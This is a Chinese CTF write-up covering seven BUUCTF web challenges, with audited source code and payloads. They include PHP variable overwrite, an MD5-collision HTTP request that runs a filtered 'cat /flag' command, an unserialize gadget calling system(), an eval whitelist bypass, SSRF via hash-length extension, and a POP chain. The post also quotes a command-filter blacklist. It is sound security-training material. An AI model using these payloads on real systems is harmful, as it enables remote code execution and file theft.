1.[BJDCTF2020]Mark loves cat

dirb扫描目录发现.git泄露。
githack获取源码

<?php$flag = file_get_contents('/flag');
//HTML代码太多了,人工删除
<?php
include 'flag.php';
$yds = "dog";
$is = "cat";
$handsome = 'yds';
foreach($_POST as $x => $y){$$x = $y;
}
foreach($_GET as $x => $y){$$x = $$y;
}
foreach($_GET as $x => $y){if($_GET['flag'] === $x && $x !== 'flag'){exit($handsome);}
}
if(!isset($_GET['flag']) && !isset($_POST['flag'])){exit($yds);
}
if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){exit($is);
}echo "the flag is: ".$flag;

审计一下代码,看到$$就知道应该是变量覆盖了。这里补一波变量覆盖的知识:

变量覆盖可以使用我们自定义的变量去覆盖 源代码中的变量,去修改代码运行的逻辑
发变量覆盖漏洞函数:
extract() //该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。
parse_str()
Import_request_variables()
$$(双美元符)
Register_globals=On (PHP 5.4之后移除)

知识补上,继续审计代码:
1.首先使用2个foreach把POST和GET的键值对当作数组赋值。
假设我通过get传递这样一个键值对:index.php?fuck=shit
经过这个foreach的$$x=$y之后变成:
$fuck=$shit,就会把原来fuck的值替换成shit的值。
2.然后第三个foreach再次对GET参数进行判断,如果GET方式传入的$flag不等于FLAG则退出。
3.下来两个if,第一个不用说,第二个判断传入的flag参数是否等于flag,等于就退出。
根据上述分析,构造一条变量覆盖的逻辑:
GET参数:index.php?yds=flag
POST参数:$flag=flag
这样传进去之后,第一个foreach之后:
$$flag=flag
第二个foreach:
$yds=$flag
经过这样一波操作,第一个if顺利通过,因为$_GET[‘flag’]不存在。
到第二个if,中标,输出$yds的值,而之前$yds已经被替换成了$flag。
有点绕,需要仔细分析。

2.[安洵杯 2019]easy_web

这题有点脑洞大开了。
url:
http://789a427f-bba9-42d2-9e6c-228ecd274508.node3.buuoj.cn/index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=
img的文件名猜测可能是base64,拿去解码
双重base64解码之后十六进制转字符串:


把index.php照套路放进去:
http://789a427f-bba9-42d2-9e6c-228ecd274508.node3.buuoj.cn/index.php?img=TmprMlpUWTBOalUzT0RKbE56QTJPRGN3&cmd=
得到PD9waHAKZXJyb3JfcmVwb3J0aW5nKEVfQUxMIHx8IH4gRV9OT1RJQ0UpOwpoZWFkZXIoJ2NvbnRlbnQtdHlwZTp0ZXh0L2h0bWw7Y2hhcnNldD11dGYtOCcpOwokY21kID0gJF9HRVRbJ2NtZCddOwppZiAoIWlzc2V0KCRfR0VUWydpbWcnXSkgfHwgIWlzc2V0KCRfR0VUWydjbWQnXSkpIAogICAgaGVhZGVyKCdSZWZyZXNoOjA7dXJsPS4vaW5kZXgucGhwP2ltZz1UWHBWZWs1VVRURk5iVlV6VFVSYWJFNXFZejAmY21kPScpOwokZmlsZSA9IGhleDJiaW4oYmFzZTY0X2RlY29kZShiYXNlNjRfZGVjb2RlKCRfR0VUWydpbWcnXSkpKTsKCiRmaWxlID0gcHJlZ19yZXBsYWNlKCIvW15hLXpBLVowLTkuXSsvIiwgIiIsICRmaWxlKTsKaWYgKHByZWdfbWF0Y2goIi9mbGFnL2kiLCAkZmlsZSkpIHsKICAgIGVjaG8gJzxpbWcgc3JjID0iLi9jdGYzLmpwZWciPic7CiAgICBkaWUoInhpeGnvvZ4gbm8gZmxhZyIpOwp9IGVsc2UgewogICAgJHR4dCA9IGJhc2U2NF9lbmNvZGUoZmlsZV9nZXRfY29udGVudHMoJGZpbGUpKTsKICAgIGVjaG8gIjxpbWcgc3JjPSdkYXRhOmltYWdlL2dpZjtiYXNlNjQsIiAuICR0eHQgLiAiJz48L2ltZz4iOwogICAgZWNobyAiPGJyPiI7Cn0KZWNobyAkY21kOwplY2hvICI8YnI+IjsKaWYgKHByZWdfbWF0Y2goIi9sc3xiYXNofHRhY3xubHxtb3JlfGxlc3N8aGVhZHx3Z2V0fHRhaWx8dml8Y2F0fG9kfGdyZXB8c2VkfGJ6bW9yZXxiemxlc3N8cGNyZXxwYXN0ZXxkaWZmfGZpbGV8ZWNob3xzaHxcJ3xcInxcYHw7fCx8XCp8XD98XFx8XFxcXHxcbnxcdHxccnxceEEwfFx7fFx9fFwofFwpfFwmW15cZF18QHxcfHxcXCR8XFt8XF18e3x9fFwofFwpfC18PHw+L2kiLCAkY21kKSkgewogICAgZWNobygiZm9yYmlkIH4iKTsKICAgIGVjaG8gIjxicj4iOwp9IGVsc2UgewogICAgaWYgKChzdHJpbmcpJF9QT1NUWydhJ10gIT09IChzdHJpbmcpJF9QT1NUWydiJ10gJiYgbWQ1KCRfUE9TVFsnYSddKSA9PT0gbWQ1KCRfUE9TVFsnYiddKSkgewogICAgICAgIGVjaG8gYCRjbWRgOwogICAgfSBlbHNlIHsKICAgICAgICBlY2hvICgibWQ1IGlzIGZ1bm55IH4iKTsKICAgIH0KfQoKPz4KPGh0bWw+CjxzdHlsZT4KICBib2R5ewogICBiYWNrZ3JvdW5kOnVybCguL2JqLnBuZykgIG5vLXJlcGVhdCBjZW50ZXIgY2VudGVyOwogICBiYWNrZ3JvdW5kLXNpemU6Y292ZXI7CiAgIGJhY2tncm91bmQtYXR0YWNobWVudDpmaXhlZDsKICAgYmFja2dyb3VuZC1jb2xvcjojQ0NDQ0NDOwp9Cjwvc3R5bGU+Cjxib2R5Pgo8L2JvZHk+CjwvaHRtbD4=
解码得到源码:

<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd'])) header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {echo '<img src ="./ctf3.jpeg">';die("xixi~ no flag");
} else {$txt = base64_encode(file_get_contents($file));echo "<img src='data:image/gif;base64," . $txt . "'></img>";echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {echo("forbid ~");echo "<br>";
} else {if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {echo `$cmd`;} else {echo ("md5 is funny ~");}
}?>

审计之:
题目要求我们提交a,b两个不相等的参数且md5值要相等,数组绕过是不可能绕过了,前面被强转了。
a=
%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

b=
%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
然后构造如下payload:
POST /index.php?img=T1&cmd=ca\t%20/fl\ag HTTP/1.1
Host: 74c200cf-0f54-4ad5-a4db-137f1dfe08c6.node3.buuoj.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Content-Length: 389
Content-Type: application/x-www-form-urlencoded

a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2

得到flag。

3.[网鼎杯 2020 朱雀组]phpweb

You are required to use the date.timezone setting or the date_default_timezone_set() function. In case you used any of those methods and you are still getting this warning, you most likely misspelled the timezone identifier. We selected the timezone ‘UTC’ for now, but please set date.timezone to select your timezone. in /var/www/html/index.php

扫目录一无所获。抓包看看:

把date换成phpinfo试试
被过滤了。
show_source也被过滤了。
使用file_get_contents:

<?php$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");function gettime($func, $p) {$result = call_user_func($func, $p);$a= gettype($result);if ($a == "string") {return $result;} else {return "";}}class Test {var $p = "Y-m-d h:i:s a";var $func = "date";function __destruct() {if ($this->func != "") {echo gettime($this->func, $this->p);}}}$func = $_REQUEST["func"];$p = $_REQUEST["p"];if ($func != null) {$func = strtolower($func);if (!in_array($func,$disable_fun)) {echo gettime($func, $p);}else {die("Hacker...");}}?>

审计一下:
传入2个参数func和p,对参数进行过滤,然后执行gettime函数。看看gettime函数:
主要就是执行call_user_func函数并返回字符串的结果。
这里过滤了一大堆函数。但是我们可以从Test入手。
黑名单里没有过滤unserialize,因此我们可以令func=unserialize,p=Test对象的序列化值。
通过这种方式,在对象被反序列化时调用_destruct函数,在里面执行系统命令。
payload:

<?php
class Test{var $p = "find / -name flag*";var $func = "system";
}
echo urlencode(serialize(new Test()));


读一下/tmp/flagoefiu4r93:

flag{96b7f9a4-d895-4c9c-b8e0-5d662c698dcc}

4.[NCTF2019]Fake XML cookbook

这题题目给了提示,猜测可能是XXE。
XXE的基础知识见这篇文章

抓包的结果也证实了这一点。
看下源码是怎么写的吧:

<?php
$USERNAME = 'admin'; //账号
$PASSWORD = '024b87931a03f738fff6693ce0a78c88'; //密码
$result = null;
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
try{$dom = new DOMDocument();$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);$creds = simplexml_import_dom($dom);$username = $creds->username;$password = $creds->password;if($username == $USERNAME && $password == $PASSWORD){$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",1,$username);}else{$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",0,$username);}
}catch(Exception $e){$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",3,$e->getMessage());
}header('Content-Type: text/html; charset=utf-8');
echo $result;
?>

可以看见代码就是把POST的数据解析成XML并显示而且这里还给了回显,可以说是最简单的XXE了。
所以直接回显读flag:

5.[CISCN 2019 初赛]Love Math

<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){show_source(__FILE__);
}else{//例子 c=20-1$content = $_GET['c'];if (strlen($content) >= 80) {die("太长了不会算");}$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];foreach ($blacklist as $blackitem) {if (preg_match('/' . $blackitem . '/m', $content)) {die("请不要输入奇奇怪怪的字符");}}//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);  foreach ($used_funcs[0] as $func) {if (!in_array($func, $whitelist)) {die("请不要输入奇奇怪怪的函数");}}//帮你算出答案eval('echo '.$content.';');
}

审计之:
只允许输入白名单上的函数,我们就要想办法绕过
这里我们利用php的特性:字符串可以作为函数名,也就是所谓的动态函数:
一个变量名后有圆括号,PHP 将寻找与变量的值同名的函数,并且尝试执行它

一种payload是这样:
$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=tac /flag
分析:
base_convert(37907361743,10,36) => "hex2bin"
dechex(1598506324) => "5f474554"
$pi=hex2bin("5f474554") => $pi="_GET"   //hex2bin将一串16进制数转换为二进制字符串
($$pi){pi}(($$pi){abs}) => ($_GET){pi}($_GET){abs}  //{}可以代替[]
分析:
base_convert(37907361743,10,36) => "hex2bin"
dechex(1598506324) => "5f474554"
$pi=hex2bin("5f474554") => $pi="_GET"   //hex2bin将一串16进制数转换为二进制字符串
($$pi){pi}(($$pi){abs}) => ($_GET){pi}(($_GET){abs})  //{}可以代替[],这里就是使用动态函数。
上面一波操作之后,执行eval(($_GET){pi}($_GET){abs})等价于eval(system tac /flag)

拿flag:

还有一种更简洁的解法,使用getallheaders():

$pi=base_convert,$pi(696468,10,36)($pi(8768397090111664438,10,30)(){1})
分析:
base_convert(696468,10,36) => "exec"
$pi(8768397090111664438,10,30) => "getallheaders"
exec(getallheaders(){1})
//操作xx和yy,中间用逗号隔开,echo都能输出
echo xx,yy

然后在get请求头里自己添加一个
1:cat /flag

6.[De1CTF 2019]SSRF Me

#! /usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')
app = Flask(__name__)
secert_key = os.urandom(16)
class Task:def __init__(self, action, param, sign, ip):self.action = actionself.param = paramself.sign = signself.sandbox = md5(ip)if(not os.path.exists(self.sandbox)):          #SandBox For Remote_Addros.mkdir(self.sandbox)def Exec(self):result = {}result['code'] = 500if (self.checkSign()):if "scan" in self.action:tmpfile = open("./%s/result.txt" % self.sandbox, 'w')resp = scan(self.param)if (resp == "Connection Timeout"):result['data'] = respelse:print resptmpfile.write(resp)tmpfile.close()result['code'] = 200if "read" in self.action:f = open("./%s/result.txt" % self.sandbox, 'r')result['code'] = 200result['data'] = f.read()if result['code'] == 500:result['data'] = "Action Error"else:result['code'] = 500result['msg'] = "Sign Error"return resultdef checkSign(self):if (getSign(self.action, self.param) == self.sign):return Trueelse:return False
#generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():param = urllib.unquote(request.args.get("param", ""))action = "scan"return getSign(action, param)
@app.route('/De1ta',methods=['GET','POST'])
def challenge():action = urllib.unquote(request.cookies.get("action"))param = urllib.unquote(request.args.get("param", ""))sign = urllib.unquote(request.cookies.get("sign"))ip = request.remote_addrif(waf(param)):return "No Hacker!!!!"task = Task(action, param, sign, ip)return json.dumps(task.Exec())
@app.route('/')
def index():return open("code.txt","r").read()
def scan(param):socket.setdefaulttimeout(1)try:return urllib.urlopen(param).read()[:50]except:return "Connection Timeout"
def getSign(action, param):return hashlib.md5(secert_key + param + action).hexdigest()
def md5(content):return hashlib.md5(content).hexdigest()
def waf(param):check=param.strip().lower()if check.startswith("gopher") or check.startswith("file"):return Trueelse:return False
if __name__ == '__main__':app.debug = Falseapp.run(host='0.0.0.0')

审计一下代码:
可以看出来是Flask写的,给了3条路由:
1.路由/给源码。
2.路由/geneSign从请求中取参数param,把secrect_key+param+action(这里action是固定的)拼接在一起做一个md5并返回。
3.路由/De1ta从cookie中读取sign和action,从请求中读取ip和param,然后先把param过一道waf,waf函数里可以看见过滤了gopher协议和file协议。
过完waf之后使用提取到的4个变量构造一个Task类,然后执行该类的exec方法。
看看exec方法:
先做一个判断,即根据secrect_key+param+action的md5判断是否和传进来的sign一致。
然后判断action的类型:
1.如果action是scan,则调用urlopen访问param并把访问结果写入沙盒的result.txt
2.如果action是read,则读取沙盒里result.txt的内容并返回。
然后题目有一个提示:flag is in ./flag.txt。
先来试试scan,写flag.txt:

可以看到成功写进去了,因为之前我访问/geneSign的时候获取的sign正好就是scan的拼接字符串的md5值。
接下来要尝试读,难点就在这里了,/geneSign路由只会返回secrect_key+param+"scan"的md5值,现在我们需要的是secrect_key+param+"read"的md5值,但是secrect_key未知,怎么得到这个md5值?

解法1:哈希长度拓展攻击

当已知:
1.md5(salt+message)的值
2.message内容
3.salt+message长度
我们可以在不知道salt的具体内容的情况下,计算出任意的md5(salt+message+padding+append)值
具体原理网上很多,不再赘述,直接上脚本:
根据代码,这里secrect_key的长度为16,也就是salt的长度为16.
然后知道
1.md5(secrect_key+“flag.txt”+“scan”)的值:8d380669d0459e405700f53097927ed4
2.知道message=“flag.txtscan”
3.知道secrect_key+message的长度为16+12=28
所以满足了哈希长度拓展攻击的前置条件。
因此可以计算md5(secrect_key+“flag.txtscan”+“padding”+“read”)的值:
python md5pad.py 8d380669d0459e405700f53097927ed4 read 28

得到了payload和md5,传进去试试:

可以看到成功读到了flag。

解法2:字符串拼接绕过

这里假设在/geneSign路由下面这样传:
/geneSign?param=flag.txtread
得到md5:b0790aa6bbacef67a980de4c3dae7f5f
这里得到的md5其实是md5(secrect_key+“flag.txtreadscan”)的值。
在/De1ta路由下这样传:

分析:

因为传参的时候param=flag.txt,action = readscan
在计算sign的时候,getSign(secrect_key+param + action)函数计算的是md5(secrect_key+“flag.txtreadscan”)的值。和上面的md5值是一样的。
此外,代码在判断时使用的是in关键字和两个if,所以根据传入的action=readscan,则会先执行scan,把flag.txt读进去,再执行read,把沙盒内的flag.txt的内容读出来,从而达到了绕过的目的。

解法3:(Python 2.x - 2.7.16 )urllib.fopen支持local_file导致LFI(CVE-2019-9948)(CVE-2019-9948)

Python 2.x到2.7.16中的urllib支持local_file:方案,这使远程攻击者更容易绕过将文件URI列入黑名单的保护机制,如触发urllib.urlopen(‘local_file:///etc / passwd’) 可以得到回显。

7.[EIS 2019]EzPOP

代码:

<?php
error_reporting(0);
class A {protected $store;protected $key;protected $expire;public function __construct($store, $key = 'flysystem', $expire = null) {    //对象初始化时做一些赋值操作$this->key = $key;$this->store = $store;$this->expire = $expire;}public function cleanContents(array $contents) {$cachedProperties = array_flip([          //反转键值对的值,如果出现了多个相同值则以最后一个键作为值,在这里并不会改变什么,数组原样返回了'path', 'dirname', 'basename', 'extension', 'filename','size', 'mimetype', 'visibility', 'timestamp', 'type',]);foreach ($contents as $path => $object) {   //遍历contents数组并把path键赋值给objectif (is_array($object)) {       //如果object是数组则array_intersect_key()函数用于比较两个(或更多个)数组的键名 ,并返回交集。$contents[$path] = array_intersect_key($object, $cachedProperties); //这里把数组object和cachedProperties的交集赋值给$contents}}return $contents;}public function getForStorage() {                    //对contents数组进行json编码$cleaned = $this->cleanContents($this->cache);   //调用cleanContents函数获取cache和cachedProperties的交集return json_encode([$cleaned, $this->complete]); //json编码}public function save() {$contents = $this->getForStorage();$this->store->set($this->key, $contents, $this->expire);     //盲猜这里store需要存储的是一个class B的实例}public function __destruct() {if (!$this->autosave) {$this->save();}}
}
class B {protected function getExpireTime($expire): int {            //这个函数把expire强转成intreturn (int) $expire;}public function getCacheKey(string $name): string {         //这个函数把options['prefix']和name拼接return $this->options['prefix'] . $name;}protected function serialize($data): string {          //这个函数判断data是不是数字或者数字字符串,然后把>options['serialize']赋值给$serialize,然后把$serialize作为函数名尝试调用对应的函数if (is_numeric($data)) {return (string) $data;}$serialize = $this->options['serialize'];return $serialize($data);}public function set($name, $value, $expire = null): bool{    //$this->writeTimes++;if (is_null($expire)) {$expire = $this->options['expire'];   //把options['expire']赋值给$expire}$expire = $this->getExpireTime($expire);$filename = $this->getCacheKey($name);$dir = dirname($filename);if (!is_dir($dir)) {try {mkdir($dir, 0755, true);} catch (\Exception $e) {// 创建失败}}$data = $this->serialize($value);if ($this->options['data_compress'] && function_exists('gzcompress')) {//数据压缩$data = gzcompress($data, 3);}$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;$result = file_put_contents($filename, $data);if ($result) {return true;}return false;}
}
if (isset($_GET['src']))
{highlight_file(__FILE__);
}
$dir = "uploads/";
if (!is_dir($dir))
{mkdir($dir);
}
unserialize($_GET["data"]);

审计之:
传入一个data并对其反序列化,看到类B这里有一个 $result = file_put_contents($filename, $data);,所以这是在暗示我们写

BUUCTF笔记之Web系列部分WriteUp(四)相关推荐

  1. BUUCTF笔记之Web系列部分WriteUp(五)

    1.[GWCTF 2019]枯燥的抽奖 查看源码得到check.php,访问得到代码: <?php #这不是抽奖程序的源代码!不许看! header("Content-Type: te ...

  2. BUUCTF笔记之Web系列部分WriteUp(三)

    声明:此文仅供学习记录研究使用,切勿用于非法用途,否则后果自负! 1.[CISCN2019 华北赛区 Day2 Web1]Hack World 最近多做做sql注入,感觉自己在这一块还是很菜,进去就给 ...

  3. BUUCTF笔记之Misc系列部分WriteUp(二)

    1.爱因斯坦 binwalk分离出一个压缩包. 查看图片备注: 解压得到flag. 2.easycap 追踪TCP流: 3.另外一个世界 binwalk和steg一无所获,图片备注也看了没有收获,wi ...

  4. 从零开始学 Web 之 BOM(四)client系列

    大家好,这里是「 从零开始学 Web 系列教程 」,并在下列地址同步更新...... github:https://github.com/Daotin/Web 微信公众号:Web前端之巅 博客园:ht ...

  5. ASP.NET企业开发框架IsLine FrameWork系列之十四--框架配置信息大全(中)

    ASP.NET企业开发框架IsLine FrameWork系列之十四--框架配置信息大全(中) 接上文 上文中讲到配置日志模块的第二步,这篇文章继续给大家介绍日志配置方法. Step 3.在</ ...

  6. 如何为prel语言加载模块_WebAssembly 系列(第四部分)- 创建和使用WebAssembly模块...

    原文链接 这是 WebAssembly 系列的第四篇,如果你没读过第一篇,我建议你读下. WebAssembly 是除了 JavaScript 外另一种在网页上面运行的编程语言.在过去,假如想要在浏览 ...

  7. springboot 设置默认访问index.html_【SpringBoot WEB系列】WebFlux静态资源配置与访问

    [SpringBoot WEB系列]WebFlux静态资源配置与访问 上一篇博文介绍SpringMVC的静态资源访问,那么在WebFlux中,静态资源的访问姿势是否一致呢 I. 默认配置 与Sprin ...

  8. 【web系列十五】Ubuntu系统部署Web项目

    目录 写在前面 前端部署 安装nginx 编译vue工程 传输项目到服务器 修改nginx配置 修改启动用户 重启服务 打开网页 前端踩坑记录 无法使用getCurrentInstance.ctx.$ ...

  9. 从零开始学 Web 系列教程

    大家好,这里是「 从零开始学 Web 系列教程 」,并在下列地址同步更新-- github:https://github.com/Daotin/Web 微信公众号:前端队长 博客园:http://ww ...

最新文章

  1. Titanium开发环境搭建第一个坑
  2. Linux实战教学笔记49:Zabbix监控平台3.2.4(一)搭建部署与概述
  3. vue暴露的全局方法_Vue中实现全局方法
  4. 新时代营销解决方案:敏捷BI助力银行高效精准营销
  5. [云炬创业管理笔记]第四章把握创业机会测试5
  6. 双口RAM和多模块存储器
  7. SpringBoot2.X (2)- 使用Spring Initializer 快速创建项目
  8. mongodb java 执行js脚本_MongoDB编写并执行js脚本
  9. PMP新考纲启用,如何判断是敏捷?第6版教材与第7版有什么区别?
  10. 禁用“微软 Windows 10 易升”
  11. 计算机键盘灯不亮原因,计算机键盘灯不亮,鼠标灯亮的原因和解决方法
  12. 数字图像处理第五章——图像复原与重建
  13. VS编译器 :LNK链接错误汇总:LNK2001 / LNK2005 / LNK2019 / LNK1120
  14. 明朝版的《北京欢迎你》
  15. Python模块大全
  16. Arduino ESP8266利用SPIFFS上传文件和查看文件
  17. 逆向app - 简单apk工具的安装
  18. 努比亚 Z5 mini刷机包 omni4.4.2修改V4.0 自用版 精简 MIUI特效
  19. PS-Photoshop2020版安装包以及安装详细教程
  20. 区块链学习笔记15——ETH状态树

热门文章

  1. 安卓系统定制常见问题解决
  2. 学习JAVA的随性笔记-权限修饰符
  3. 故宫珍宝馆改陈再晾宝 二期春节前夕对外开放
  4. 如何定义性能”提升“了多少?
  5. 程序员的自我修养--链接、装载与库笔记:动态链接
  6. 想精通单片机开发,这些必备基础知识不可不掌握
  7. arraycoy java,LifeAsia 功能通过Java转移到Web
  8. Windows 平台下AMD 显卡加速pytorch训练
  9. 指针数组与数组指针详解
  10. vue的基础练习实例